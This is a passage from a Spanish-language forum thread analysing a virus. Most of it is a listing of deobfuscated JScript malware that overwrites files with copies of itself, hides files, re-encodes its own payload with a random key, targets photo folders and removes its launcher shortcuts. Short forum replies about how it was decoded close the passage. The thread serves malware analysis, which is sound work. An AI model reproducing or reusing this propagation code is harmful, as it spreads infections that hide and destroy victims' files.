  443.                                     if (a.FileExists(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  444.                                         a.GetFile(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes = 2;
  445.                                     }
  446.                                 } else {
  447.                                     if (a.GetFile(di + "\\" + ex).Size < fsz) {
  448.                                         a.GetFile(di + "\\" + ex).Attributes = 0;
  449.                                         a.DeleteFile(di + "\\" + ex);
  450.                                         a.CopyFile(g, di + "\\" + ex);
  451.                                         a.GetFile(di + "\\" + ex).Attributes = 0;
  452.                                     }
  453.                                 }
  454.                             } catch (e) {}
  455.                         }
  456.                     }
  457.                 } catch (e) {}
  458.             }
  459.             hra = 0;
  460.         }
  461.     } catch (e) {}
  462.     mk();
  463. }
  464.  
  465. function ci() {
  466.     try {
  467.         db2 = a.OpenTextFile(g, 1);
  468.         g2 = db2.ReadAll();
  469.         db2.Close();
  470.         g3 = g2.substring(g2.search('z="') + 3, g2.search('";'));
  471.         g1 = g2.substring(0, g2.search('z="') + 3);
  472.         gr = g2.substring(g2.search('";'), g2.length);
  473.         t = ll;
  474.         tt = "";
  475.         tm = t.length;
  476.         rac = Math.round(Math.random() * 98) + 1;
  477.         for (x = 0; x < tm; x++) {
  478.             num = t.charCodeAt(x) + rac;
  479.             hx = num.toString(16);
  480.             if (hx.length < 2) {
  481.                 hx = "0" + hx;
  482.             }
  483.             tt += hx;
  484.             hx = '';
  485.         }
  486.         if (rac < 10) {
  487.             rac = "0" + rac;
  488.         }
  489.         tt += rac;
  490.         g4 = g1 + tt + gr;
  491.         return g4;
  492.     } catch (e) {}
  493. }
  494.  
  495. function pe(tar) {
  496.     onef = false;
  497.     sfp = a.GetFolder(tar);
  498.     tgc = new Enumerator(sfp.subFolders);
  499.     for (; !tgc.atEnd(); tgc.moveNext()) {
  500.         stc = tgc.item().Name.toLowerCase();
  501.         if (stc.search("foto") != -1 || stc.search("photo") != -1 || stc.search("image") != -1 || stc.search("im\u00E1ge") != -1 || stc.search("picture") != -1) {
  502.             if (onef == false) {
  503.                 sfp = a.GetFolder(tgc.item() + "\\");
  504.             }
  505.             onef = true;
  506.         }
  507.     }
  508.     return sfp;
  509. }
  510.  
  511. function shcu() {
  512.     cshc = "";
  513.     lnks = new Enumerator(a.GetFolder(c3).files);
  514.     for (; !lnks.atEnd(); lnks.moveNext()) {
  515.         try {
  516.             lks = lnks.item() + "";
  517.             if (lks.substring(lks.length - 4, lks.length).toLowerCase() == ".lnk") {
  518.                 lnka = b.CreateShortcut(lnks.item()).Arguments;
  519.                 if (lnka.search("//E:JScript //B -ns") != -1) {
  520.                     cshc = lnka.substring(lnka.indexOf('"') + 1, lnka.lastIndexOf('"'));
  521.                     a.DeleteFile(lnks.item());
  522.                 }
  523.             }
  524.         } catch (e) {}
  525.     }
  526.     return cshc;
  527. }

Hola, una pregunta, usaste algun programa para traducir, de ser asi cual seria, sino, como lo hiciste para traducir toda esa cadena y en que lenguaje esta ese codigo(no el traducido el original)

Título: Re: [Ayuda] descifrando un virus
Publicado por: Mad Antrax en 8 Octubre 2015, 10:09 am
No se utilizó ningún programa. Lo tienes todo explicado entre la pagina 2 y 3


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines